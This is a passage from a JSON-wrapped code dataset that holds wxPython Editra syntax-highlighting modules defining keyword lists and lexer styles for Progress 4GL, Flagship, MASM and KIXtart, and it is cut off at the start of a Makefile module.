\"initial-filter initiate inner inner-chars inner-lines \"\n \"insert-backtab insert-file insert-row insert-string insert-tab \"\n \"integer internal-entries is-lead-byte is-row-selected \"\n \"is-selected item items-per-row join-by-sqldb keep-frame-z-order \"\n \"keep-messages keep-tab-order key keyword-all label-bgcolor \"\n \"label-dcolor label-fgcolor label-font label-pfcolor labels \"\n \"languages large large-to-small last-child last-tab-item \"\n \"last-procedure lc le leading left left-aligned left-trim length \"\n \"line list-events list-items list-query-attrs list-set-attrs \"\n \"list-widgets load load-control load-icon load-image \"\n \"load-image-down load-image-insensitive load-image-up \"\n \"load-mouse-pointer load-small-icon log logical lookahead lower \"\n \"lt manual-highlight margin-extra margin-height \"\n \"margin-height-chars margin-height-pixels margin-width \"\n \"margin-width-chars margin-width-pixels matches max max-chars \"\n \"max-data-guess max-height max-height-chars max-height-pixels \"\n \"max-rows max-size max-value max-width max-width-chars \"\n \"max-width-pixels maximize maximum memory menu menu-bar \"\n \"menu-item menu-key menu-mouse menubar message-area \"\n \"message-area-font message-line min min-height min-height-chars \"\n \"min-height-pixels min-size min-value min-width min-width-chars \"\n \"min-width-pixels minimum mod modified modulo month \"\n \"mouse-pointer movable move-after-tab-item move-before-tab-item \"\n \"move-column move-to-bottom move-to-eof move-to-top multiple \"\n \"multiple-key multitasking-interval must-exist name native ne \"\n \"new-row next-column next-sibling next-tab-item next-value \"\n \"no-apply no-assign no-bind-where no-box no-column-scrolling \"\n \"no-convert no-current-value no-debug no-drag no-echo \"\n \"no-index-hint no-join-by-sqldb no-lookahead no-row-markers \"\n \"no-scrolling no-separate-connection no-separators no-underline \"\n \"no-word-wrap none num-buttons num-columns num-copies \"\n \"num-formats num-items num-iterations num-lines \"\n \"num-locked-columns num-messages num-results num-selected \"\n \"num-selected-rows num-selected-widgets num-tabs num-to-retain \"\n \"numeric numeric-format octet_length ok ok-cancel \"\n \"on-frame-border ordered-join ordinal orientation os-getenv \"\n \"outer outer-join override owner page-size page-width paged \"\n \"parent partial-key pascal pathname pfcolor pinnable \"\n \"pixels-per-column pixels-per-row popup-menu popup-only position \"\n \"precision preselect prev prev-column prev-sibling prev-tab-item \"\n \"primary printer-control-handle printer-setup private-data \"\n \"profiler Progress-source publish put-double put-float put-long \"\n \"put-short put-string put-unsigned-short query-off-end question \"\n \"radio-buttons radio-set random raw raw-transfer read-file \"\n \"read-only real recursive refresh refreshable replace \"\n \"replace-selection-text replication-create replication-delete \"\n \"replication-write request resizable resize retry-cancel \"\n \"return-inserted return-to-start-dir reverse-from right \"\n \"right-aligned right-trim round row row-markers row-of rowid \"\n \"rule rule-row rule-y save-as save-file screen-value scroll-bars \"\n \"scroll-delta scroll-horiz-value scroll-offset \"\n \"scroll-to-current-row scroll-to-item scroll-to-selected-row \"\n \"scroll-vert-value scrollable scrollbar-horizontal \"\n \"scrollbar-vertical scrolled-row-position scrolling \"\n \"se-check-pools se-enable-off se-enable-on se-num-pools \"\n \"se-use-message section select-focused-row select-next-row \"\n \"select-prev-row select-repositioned-row select-row selectable \"\n \"selected selected-items selection-end selection-list \"\n \"selection-start selection-text send sensitive \"\n \"separate-connection separators set-blue-value set-break \"\n \"set-cell-focus set-contents set-dynamic set-green-value \"\n \"set-leakpoint set-pointer-value set-property set-red-value \"\n \"set-repositioned-row set-selection set-size set-wait-state \"\n \"side-lab side-labe side-label side-label-handle side-labels \"\n \"silent simple single size size-chars size-pixels slider \"\n \"smallint sort source source-procedure sql sqrt start \"\n \"status-area status-area-font status-bar stdcall stenciled stop \"\n \"stopped stored-procedure string sub-average sub-count \"\n \"sub-maximum sub-menu sub-menu-help sub-minimum sub-total \"\n \"subscribe substitute substring subtype sum super \"\n \"suppress-warnings system-alert-boxes system-help tab-position \"\n \"tabbable target target-procedure temp-directory temp-table \"\n \"terminate text-selected three-d through thru tic-marks \"\n \"time-source title-bgcolor title-dcolor title-fgcolor title-font \"\n \"to-rowid toggle-box tool-bar top topic total trailing truncate \"\n \"type unbuffered unique-id unload unsubscribe upper use \"\n \"use-dict-exps use-filename use-text v6display valid-event \"\n \"valid-handle validate validate-condition validate-message \"\n \"variable vertical virtual-height virtual-height-chars \"\n \"use-filename use-text v6display valid-event valid-handle \"\n \"validate validate-condition validate-message variable vertical \"\n \"virtual-height virtual-height-chars widget-pool width \"\n \"width-chars width-pixels window-name window-state window-system \"\n \"word-wrap x-of y-of year yes-no yes-no-cancel _dcm\")\n\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Progress 4GL\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_SQL)\n\n def GetKeywords(self):\n \"\"\"Progress 4GL keyword specifications \"\"\"\n return [PROG_KW, PROG_TYPES, PROG_OP]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return _sql.SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Language properties for folding ect... \"\"\"\n return [_sql.FOLD,]\n\n def GetCommentPattern(self):\n \"\"\"Comment pattern \"\"\"\n return [u'/*', u'*/']\n", "id": "4774480", "language": "Python", "matching_score": 5.220221519470215, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_progress.py" }, { "content": "###############################################################################\n# Name: flagship.py #\n# Purpose: Define Flagship syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: flagship.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for the Flagship programming language and\n other XBase dialects.\n@todo: Custom style defs\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _flagship.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nFS_COMMANDS = (0, \"? @ accept access all alternate announce ansi any append as \"\n \"assign autolock average begin bell bitmap blank box call \"\n \"cancel case century charset checkbox clear close cls color \"\n \"combobox commit confirm console constant continue copy \"\n \"count create cursor date dbread dbwrite decimals declare \"\n \"default delete deleted delimiters device dir directory \"\n \"display do draw edit else elseif eject end endcase enddo \"\n \"endif endtext epoch erase error escape eval eventmask exact \"\n \"exclusive extended external extra field file filter find \"\n \"fixed font for form format from get gets global \"\n \"global_extern go goto gotop guialign guicolor guicursor \"\n \"guitransl html htmltext if image index input intensity join \"\n \"key keyboard keytransl label lines list listbox local \"\n \"locate margin memory memvar menu message method multibyte \"\n \"multilocks next nfs nfslock nfs_force note on openerror \"\n \"order outmode pack parameters path pixel pop printer \"\n \"private prompt public push pushbutton quit radiobutton \"\n \"radiogroup read recall refresh reindex relation release \"\n \"rename replace report request restore richtext rowadapt \"\n \"rowalign run save say scoreboard scrcompress screen seek \"\n \"select sequence set setenhanced setstandard setunselected \"\n \"skip softseek sort source static store struct structure sum \"\n \"tag tbrowse text to total type typeahead unique unlock \"\n \"update use wait while with wrap xml zap zerobyteout\")\n\nFS_STDLIB = (1, \"_displarr _displarrerr _displarrstd _displobj _displobjerr \"\n \"_displobjstd aadd abs achoice aclone acopy adel adir \"\n \"aelemtype aeval afields afill ains alert alias alltrim altd \"\n \"ansi2oem appiomode appmdimode appobject array asc ascan asize \"\n \"asort at atail atanychar autoxlock between bin2i bin2l bin2w \"\n \"binand binlshift binor binrshift binxor bof break browse cdow \"\n \"chr chr2screen cmonth col col2pixel color2rgb colorselect \"\n \"colvisible consoleopen consolesize crc32 ctod curdir date \"\n \"datevalid day dbappend dbclearfilter dbclearindex \"\n \"dbclearrelation dbcloseall dbclosearea dbcommit dbcommitall \"\n \"dbcreate dbcreateindex dbdelete dbedit dbeval dbf dbfilter \"\n \"dbfinfo dbflock dbfused dbgetlocate dbgobottom dbgoto dbgotop \"\n \"dbobject dbrecall dbreindex dbrelation dbrlock dbrlocklist \"\n \"dbrselect dbrunlock dbseek dbselectarea dbsetdriver \"\n \"dbsetfilter dbsetindex dbsetlocate dbsetorder dbsetrelation \"\n \"dbskip dbstruct dbunlock dbunlockall dbusearea default \"\n \"deleted descend devout devoutpict devpos directory diskspace \"\n \"dispbegin dispbox dispcount dispend dispout doserror \"\n \"doserror2str dow drawline dtoc dtos empty eof errorblock \"\n \"errorlevel eval execname execpidnum exp fattrib fclose fcount \"\n \"fcreate ferase ferror ferror2str fieldblock fielddeci \"\n \"fieldget fieldgetarr fieldlen fieldname fieldpos fieldput \"\n \"fieldputarr fieldtype fieldwblock file findexefile fklabel \"\n \"fkmax flagship_dir flock flockf fopen found fread freadstdin \"\n \"freadstr freadtxt frename fs_set fseek fwrite getactive \"\n \"getalign getapplykey getdosetkey getenv getenvarr getfunction \"\n \"getpostvalid getprevalid getreader guidrawline hardcr header \"\n \"hex2num i2bin iif indexcheck indexcount indexdbf indexext \"\n \"indexkey indexnames indexord infobox inkey inkey2read \"\n \"inkey2str inkeytrap instdchar instdstring int int2num isalpha \"\n \"isbegseq iscolor isdbexcl isdbflock isdbmultip isdbmultiple \"\n \"isdbmultipleopen isdbrlock isdigit isfunction isguimode \"\n \"islower isobjclass isobjequiv isobjproperty isprinter isupper \"\n \"l2bin lastkey lastrec left len listbox lock log lower ltrim \"\n \"lupdate macroeval macrosubst max max_col max_row maxcol \"\n \"maxrow mcol mdblck mdiclose mdiopen mdiselect memocode \"\n \"memodecode memoedit memoencode memoline memoread memory \"\n \"memotran memowrit memvarblock mhide min minmax mlcount \"\n \"mlctopos mleftdown mlpos mod month mpostolc mpresent \"\n \"mreststate mrightdown mrow msavestate msetcursor msetpos \"\n \"mshow mstate neterr netname nextkey num2hex num2int objclone \"\n \"oem2ansi onkey ordbagext ordbagname ordcond ordcondset \"\n \"ordcreate orddescend orddestroy ordfor ordisinique ordkey \"\n \"ordkeyadd ordkeycount ordkeydel ordkeygoto ordkeyno ordkeyval \"\n \"ordlistadd ordlistclear ordlistrebui ordname ordnumber \"\n \"ordscope ordsetfocu ordsetrelat ordskipunique os outerr \"\n \"outstd padc padl padr param parameters pcalls pcol pcount \"\n \"pixel2col pixel2row printstatus procfile procline procname \"\n \"procstack proper prow qout qout2 qqout qqout2 rat rddlist \"\n \"rddname rddsetdefault readexit readinsert readkey readkill \"\n \"readmodal readsave readupdated readvar reccount recno recsize \"\n \"replicate restscreen right rlock rlockverify round row \"\n \"row2pixel rowadapt rowvisible rtrim savescreen scrdos2unix \"\n \"screen2chr scroll scrunix2dos seconds secondscpu select \"\n \"serial set setansi setblink setcancel setcol2get setcolor \"\n \"setcolorba setcursor setevent setguicursor setkey setmode \"\n \"setpos setprc setvarempty sleep sleepms soundex space sqrt \"\n \"statbarmsg statusmessage stod str strlen strlen2col \"\n \"strlen2pix strlen2space strpeek strpoke strtran strzero stuff \"\n \"substr tbcolumnnew tbmouse tbrowsearr tbrowsedb tbrowsenew \"\n \"tempfilename time tone transform trim truepath type updated \"\n \"upper used usersactive usersdbf usersmax val valtype version \"\n \"webdate weberrorhandler webgetenvir webgetformdata \"\n \"webhtmlbegin webhtmlend weblogerr webmaildomain weboutdata \"\n \"websendmail word year\")\n\nFS_FUNC = (2, \"function procedure return exit\")\n\nFS_CLASS = (3, \"class instance export hidden protect prototype\")\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_FS_ASM, ''),\n (stc.STC_FS_BINNUMBER, 'number_style'),\n (stc.STC_FS_COMMENT, 'comment_style'),\n (stc.STC_FS_COMMENTDOC, 'dockey_style'),\n (stc.STC_FS_COMMENTDOCKEYWORD, 'dockey_style'),\n (stc.STC_FS_COMMENTDOCKEYWORDERROR, 'error_style'),\n (stc.STC_FS_COMMENTLINE, 'comment_style'),\n (stc.STC_FS_COMMENTLINEDOC, 'comment_style'),\n (stc.STC_FS_CONSTANT, 'default_style'),\n (stc.STC_FS_DATE, 'default_style'),\n (stc.STC_FS_DEFAULT, 'default_style'),\n (stc.STC_FS_ERROR, 'error_style'),\n (stc.STC_FS_HEXNUMBER, 'number_style'),\n (stc.STC_FS_IDENTIFIER, 'default_style'),\n (stc.STC_FS_KEYWORD, 'keyword_style'),\n (stc.STC_FS_KEYWORD2, 'keyword2_style'),\n (stc.STC_FS_KEYWORD3, 'keyword3_style'),\n (stc.STC_FS_KEYWORD4, 'keyword4_style'),\n (stc.STC_FS_LABEL, 'default_style'),\n (stc.STC_FS_NUMBER, 'number_style'),\n (stc.STC_FS_OPERATOR, 'operator_style'),\n (stc.STC_FS_PREPROCESSOR, 'pre_style'),\n (stc.STC_FS_STRING, 'string_style'),\n (stc.STC_FS_STRINGEOL, 'stringeol_style')]\n\n#---- Extra Properties ----#\nFOLD = ('fold', '1')\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Flagship\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_FLAGSHIP)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [FS_COMMANDS, FS_STDLIB, FS_FUNC, FS_CLASS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetProperties(self):\n \"\"\"Returns a list of Extra Properties to set \"\"\"\n return [FOLD]\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u'//']\n", "id": "3544702", "language": "Python", "matching_score": 4.150268077850342, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_flagship.py" }, { "content": "###############################################################################\n# Name: masm.py #\n# Purpose: Define MASM syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: masm.py\nAUTHOR: <NAME>\n@summary: Lexer configuration file Microsoft Assembly Code\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _masm.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\n\n# MASM CPU Instructions/Operators\nMASM_CPU_INST = (0, \"aaa aad aam aas adc and arpl bound bsf bsr bswap bt btc \"\n \"btr bts call cdw cdq clc cld cli clts cmc cmp cmps cmpsb \"\n \"cmpsw cmpsd cmpxchng cwd cwde daa das enter in ins insb \"\n \"insw insd int into invd invlpg iret iretd ja jae jb jbe \"\n \"jc jcxz jecxz je jz jg jge jl jle jna jnae jnb jnbe jnc \"\n \"jne jng jnge jnl jnle jno jnp jns jnz jo jp jpe jpo js jz \"\n \"jmp lahf lar lea leave lgdt lidt lgs lss lfs lods lodsb \"\n \"lodsw lodsd loop loope loopz loone loopne retf retn lds \"\n \"les lldt lmsw lock lsl ltr mov movs movsb movsw movsd \"\n \"movsx movzx neg nop not or out outs outsb outsw outsd \"\n \"pop popa popd popf popfd push pusha pushad pushf pushfd \"\n \"rcl rcr rol roro rep repe repz repne repnz ret sahf sal \"\n \"sar shl shr sbb scas scasb scasw scasd seta setae setb \"\n \"setbe setc sete setg setge setl setle setna setnae setnb \"\n \"setnbe setnc setne setng setnge setnl setnle setno setnp \"\n \"setns setnz seto setp setpe setpo ses setz sgdt sidt shld \"\n \"shrd sldt smsw stc std sti stos stosb stosw stosd str \"\n \"test verr verw wait wbinvd xchg xlat xlatb xor add dec \"\n \"idiv imul inc mul sub xadd div \"\n # MMX/SSE/SSE2 Instructions\n \"cflush cpuid emms femms cmovo cmovno cmovb cmovc cmovnae \"\n \"cmovae cmovnb cmovnc cmove cmovz cmovne cmovnz cmovbe \"\n \"cmovna cmova cmovnbe cmovs cmovns cmovp cmovpe cmovnp \"\n \"cmovpo cmovl cmovnge cmovge cmovnl cmovle cmovng cmovg \"\n \"cmovnle cmpxchg486 cmpxchg8b loadall loadall286 ibts \"\n \"icebp int1 int3 int01 int03 iretw popaw popfw pushaw \"\n \"pushfw rdmsr rdpmc rdshr rdtsc rsdc rsldt rsm rsts salc \"\n \"smi smint smintold svdc svldt svts syscall sysenter \"\n \"sysexit sysret ud0 ud1 ud2 umov xbts wrmsr wrshr\")\n\n# floating point instructions\nMASM_FPU_INST = (1, \"f2xm1 fabs fadd faddp fbld fbstp fchs fclex fcom fcomp \"\n \"fcompp fdecstp fdisi fdiv fdivp fdivr fdivrp feni ffree \"\n \"fiadd ficom ficomp fidiv fidivr fild fimul fincstp finit \"\n \"fist fistp fisub fisubr fld fld1 fldcw fldenv fldenvw \"\n \"fldl2e fldl2t fldlg2 fldln2 fldpi fldz fmul fmulp fnclex \"\n \"fndisi fneni fninit fnop fnsave fnsavew fnstcw fnstenv \"\n \"fnstenvw fnstsw fpatan fprem fptan frndint frstor frstorw \"\n \"fsave fsavew fscale fsqrt fst fstcw fstenv fstenvw fstp \"\n \"fstsw fsub fsubp fsubr fsubrp ftst fwait fxam fxch \"\n \"fxtract fyl2x fyl2xp1 fsetpm fcos fldenvd fnsaved \"\n \"fnstenvd fprem1 frstord fsaved fsin fsincos fstenvd fucom \"\n \"fucomp fucompp fcomi fcomip ffreep fcmovb fcmove fcmovbe \"\n \"fcmovu fcmovnb fcmovne fcmovnbe fcmovnu \")\n\nMASM_REGISTERS = (2, \"ah al ax bh bl bp bx ch cl cr0 cr2 cr3 cr4 cs cx dh di \"\n \"dl dr0 dr1 dr2 dr3 dr6 dr7 ds dx eax ebp ebx ecx edi edx \"\n \"es esi esp fs gs si sp ss st tr3 tr4 tr5 tr6 tr7 st0 st1 \"\n \"st2 st3 st4 st5 st6 st7 mm0 mm1 mm2 mm3 mm4 mm5 mm6 mm7 \"\n \"xmm0 xmm1 xmm2 xmm3 xmm4 xmm5 xmm6 xmm7\")\n\nMASM_DIRECTIVES = (3, \".186 .286 .286c .286p .287 .386 .386c .386p .387 .486 \"\n \".486p .8086 .8087 .alpha .break .code .const .continue \"\n \".cref .data .data? .dosseg .else .elseif .endif .endw \"\n \".err .err1 .err2 .errb .errdef .errdif .errdifi .erre \"\n \".erridn .erridni .errnb .errndef .errnz .exit .fardata \"\n \".fardata? .if .lall .lfcond .list .listall .listif \"\n \".listmacro .listmacroall .model .no87 .nocref .nolist \"\n \".nolistif .nolistmacro .radix .repeat .sall .seq \"\n \".sfcond .stack .startup .tfcond .type .until .untilcxz \"\n \".while .xall .xcref .xlist alias align assume catstr \"\n \"comm comment db dd df dosseg dq dt dup dw echo else \"\n \"elseif elseif1 elseif2 elseifb elseifdef elseifdif \"\n \"elseifdifi elseife elseifidn elseifidni elseifnb \"\n \"elseifndef end endif endm endp ends eq equ even exitm \"\n \"extern externdef extrn for forc ge goto group gt high \"\n \"highword if if1 if2 ifb ifdef ifdif ifdifi ife ifidn \"\n \"ifidni ifnb ifndef include includelib instr invoke irp \"\n \"irpc label le length lengthof local low lowword \"\n \"lroffset lt macro mask mod .msfloat name ne offset \"\n \"opattr option org %out page popcontext proc proto ptr \"\n \"public purge pushcontext record repeat rept seg segment \"\n \"short size sizeof sizestr struc struct substr subtitle \"\n \"subttl textequ this title type typedef union while \"\n \"width\")\n\nMASM_DIREC_OP = (4, \"$ ? @b @f addr basic byte c carry? dword far far16 \"\n \"fortran fword near near16 overflow? parity? pascal qword \"\n \"real4 real8 real10 sbyte sdword sign? stdcall sword \"\n \"syscall tbyte vararg word zero? flat near32 far32 abs all \"\n \"assumes at casemap common compact cpu dotname emulator \"\n \"epilogue error export expr16 expr32 farstack flat \"\n \"forceframe huge language large listing ljmp loadds m510 \"\n \"medium memory nearstack nodotname noemulator nokeyword \"\n \"noljmp nom510 none nonunique nooldmacros nooldstructs \"\n \"noreadonly noscoped nosignextend nothing notpublic \"\n \"oldmacros oldstructs os_dos para private prologue radix \"\n \"readonly req scoped setif2 smallstack tiny use16 use32 \"\n \"uses\")\n\nMASM_EXT_INST = (5, \"addpd addps addsd addss andpd andps andnpd andnps cmpeqpd \"\n \"cmpltpd cmplepd cmpunordpd cmpnepd cmpnltpd cmpnlepd \"\n \"cmpordpd cmpeqps cmpltps cmpleps cmpunordps cmpneps \"\n \"cmpnltps cmpnleps cmpordps cmpeqsd cmpltsd cmplesd \"\n \"cmpunordsd cmpnesd cmpnltsd cmpnlesd cmpordsd cmpeqss \"\n \"cmpltss cmpless cmpunordss cmpness cmpnltss cmpnless \"\n \"cmpordss comisd comiss cvtdq2pd cvtdq2ps cvtpd2dq \"\n \"cvtpd2pi cvtpd2ps cvtpi2pd cvtpi2ps cvtps2dq cvtps2pd \"\n \"cvtps2pi cvtss2sd cvtss2si cvtsd2si cvtsd2ss cvtsi2sd \"\n \"cvtsi2ss cvttpd2dq cvttpd2pi cvttps2dq cvttps2pi \"\n \"cvttsd2si cvttss2si divpd divps divsd divss fxrstor \"\n \"fxsave ldmxscr lfence mfence maskmovdqu maskmovdq maxpd \"\n \"maxps paxsd maxss minpd minps minsd minss movapd movaps \"\n \"movdq2q movdqa movdqu movhlps movhpd movhps movd movq \"\n \"movlhps movlpd movlps movmskpd movmskps movntdq movnti \"\n \"movntpd movntps movntq movq2dq movsd movss movupd movups \"\n \"mulpd mulps mulsd mulss orpd orps packssdw packsswb \"\n \"packuswb paddb paddsb paddw paddsw paddd paddsiw paddq \"\n \"paddusb paddusw pand pandn pause paveb pavgb pavgw \"\n \"pavgusb pdistib pextrw pcmpeqb pcmpeqw pcmpeqd pcmpgtb \"\n \"pcmpgtw pcmpgtd pf2id pf2iw pfacc pfadd pfcmpeq pfcmpge \"\n \"pfcmpgt pfmax pfmin pfmul pmachriw pmaddwd pmagw pmaxsw \"\n \"pmaxub pminsw pminub pmovmskb pmulhrwc pmulhriw \"\n \"pmulhrwa pmulhuw pmulhw pmullw pmuludq pmvzb pmvnzb \"\n \"pmvlzb pmvgezb pfnacc pfpnacc por prefetch prefetchw \"\n \"prefetchnta prefetcht0 prefetcht1 prefetcht2 pfrcp \"\n \"pfrcpit1 pfrcpit2 pfrsqit1 pfrsqrt pfsub pfsubr pi2fd \"\n \"pf2iw pinsrw psadbw pshufd pshufhw pshuflw pshufw psllw \"\n \"pslld psllq pslldq psraw psrad psrlw psrld psrlq psrldq \"\n \"psubb psubw psubd psubq psubsb psubsw psubusb psubusw \"\n \"psubsiw pswapd punpckhbw punpckhwd punpckhdq punpckhqdq \"\n \"punpcklbw punpcklwd punpckldq punpcklqdq pxor rcpps \"\n \"rcpss rsqrtps rsqrtss sfence shufpd shufps sqrtpd sqrtps \"\n \"sqrtsd sqrtss stmxcsr subpd subps subsd subss ucomisd \"\n \"ucomiss unpckhpd unpckhps unpcklpd unpcklps xorpd xorps\")\n\n#---- Language Styling Specs ----#\nSYNTAX_ITEMS = [ (stc.STC_ASM_DEFAULT, 'default_style'),\n (stc.STC_ASM_CHARACTER, 'char_style'),\n (stc.STC_ASM_COMMENT, 'comment_style'),\n (stc.STC_ASM_COMMENTBLOCK, 'comment_style'),\n (stc.STC_ASM_CPUINSTRUCTION, 'keyword_style'),\n (stc.STC_ASM_DIRECTIVE, 'keyword3_style'),\n (stc.STC_ASM_DIRECTIVEOPERAND, 'keyword4_style'),\n (stc.STC_ASM_EXTINSTRUCTION, 'funct_style'),\n (stc.STC_ASM_IDENTIFIER, 'default_style'),\n (stc.STC_ASM_MATHINSTRUCTION, 'keyword_style'),\n (stc.STC_ASM_NUMBER, 'number_style'),\n (stc.STC_ASM_OPERATOR, 'operator_style'),\n (stc.STC_ASM_REGISTER, 'keyword2_style'),\n (stc.STC_ASM_STRING, 'string_style'),\n (stc.STC_ASM_STRINGEOL, 'stringeol_style') ]\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for MASM\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_ASM)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [MASM_CPU_INST, MASM_FPU_INST, MASM_REGISTERS, MASM_DIRECTIVES,\n MASM_DIREC_OP, MASM_EXT_INST]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u';']\n", "id": "10760556", "language": "Python", "matching_score": 4.0993332862854, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_masm.py" }, { "content": "###############################################################################\n# Name: kix.py #\n# Purpose: Syntax configuration module for KIXtart scripts #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: kix.py\nAUTHOR: <NAME>\n@summary: Lexer configuration module for KIXtart scripts\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _kix.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Imports\nimport synglob\nimport syndata\n\n#-----------------------------------------------------------------------------#\n\n#---- Keyword Definitions ----#\nCOMMANDS = (0, \"? and beep big break call cd cls color cookie1 copy debug del \"\n \"dim display do until exit flushkb for each next function \"\n \"endfunction get gets global go gosub goto if else endif md or \"\n \"password play quit rd redim return run select case endselect \"\n \"set setl setm settime shell sleep small use while loop\")\n\nFUNCTIONS = (1, \"abs addkey addprinterconnection addprogramgroup \"\n \"addprogramitem asc ascan at backupeventlog box cdbl chr cint \"\n \"cleareventlog close comparefiletimes createobject cstr \"\n \"dectohex delkey delprinterconnection delprogramgroup \"\n \"delprogramitem deltree delvalue dir enumgroup enumipinfo \"\n \"enumkey enumlocalgroup enumvalue execute exist existkey \"\n \"expandenvironmentvars fix formatnumber freefilehandle \"\n \"getdiskspace getfileattr getfilesize getfiletime \"\n \"getfileversion getobject iif ingroup instr instrrev int \"\n \"isdeclared join kbhit keyexist lcase left len loadhive \"\n \"loadkey logevent logoff ltrim memorysize messagebox open \"\n \"readline readprofilestring readtype readvalue redirectoutput \"\n \"right rnd round rtrim savekey sendkeys sendmessage setascii \"\n \"setconsole setdefaultprinter setfileattr setfocus setoption \"\n \"setsystemstate settitle setwallpaper showprogramgroup \"\n \"shutdown sidtoname split srnd substr trim ubound ucase \"\n \"unloadhive val vartype vartypename writeline \"\n \"writeprofilestring writevalue\")\n\nMACROS = (2, \"address build color comment cpu crlf csd curdir date day domain \"\n \"dos error fullname homedir homedrive homeshr hostname inwin \"\n \"ipaddress0 ipaddress1 ipaddress2 ipaddress3 kix lanroot ldomain \"\n \"ldrive lm logonmode longhomedir lserver maxpwage mdayno mhz \"\n \"monthno month msecs pid primarygroup priv productsuite \"\n \"producttype pwage ras result rserver scriptdir scriptexe \"\n \"scriptname serror sid site startdir syslang ticks time userid \"\n \"userlang wdayno wksta wuserid ydayno year\")\n\n#---- End Keyword Definitions ----#\n\n#---- Syntax Style Specs ----#\nSYNTAX_ITEMS = [(stc.STC_KIX_COMMENT, 'comment_style'),\n (stc.STC_KIX_DEFAULT, 'default_style'),\n (stc.STC_KIX_FUNCTIONS, 'funct_style'),\n (stc.STC_KIX_IDENTIFIER, 'default_style'),\n (stc.STC_KIX_KEYWORD, 'keyword_style'),\n (stc.STC_KIX_MACRO, 'pre_style'),\n (stc.STC_KIX_NUMBER, 'number_style'),\n (stc.STC_KIX_OPERATOR, 'operator_style'),\n (stc.STC_KIX_STRING1, 'char_style'),\n (stc.STC_KIX_STRING2, 'string_style'),\n (stc.STC_KIX_VAR, 'scalar_style')]\n\n#-----------------------------------------------------------------------------#\n\nclass SyntaxData(syndata.SyntaxDataBase):\n \"\"\"SyntaxData object for Kix\"\"\" \n def __init__(self, langid):\n syndata.SyntaxDataBase.__init__(self, langid)\n\n # Setup\n self.SetLexer(stc.STC_LEX_KIX)\n\n def GetKeywords(self):\n \"\"\"Returns Specified Keywords List \"\"\"\n return [COMMANDS, FUNCTIONS, MACROS]\n\n def GetSyntaxSpec(self):\n \"\"\"Syntax Specifications \"\"\"\n return SYNTAX_ITEMS\n\n def GetCommentPattern(self):\n \"\"\"Returns a list of characters used to comment a block of code \"\"\"\n return [u';']\n", "id": "3892098", "language": "Python", "matching_score": 4.337224006652832, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/syntax/_kix.py" }, { "content": "###############################################################################\n# Name: make.py #\n# Purpose: Define Makefile syntax for highlighting and other features #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nFILE: make.py \nAUTHOR: <NAME> \n@summary: Lexer configuration module for Makefiles.\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: _make.py 63834 2010-04-03 06:04:33Z CJP $\"\n__revision__ = \"$Revision: 63834 $\"\n\n#-----------------------------------------------------------------------------#\n# Imports\nimport wx.stc as stc\n\n# Local Imports\nimport 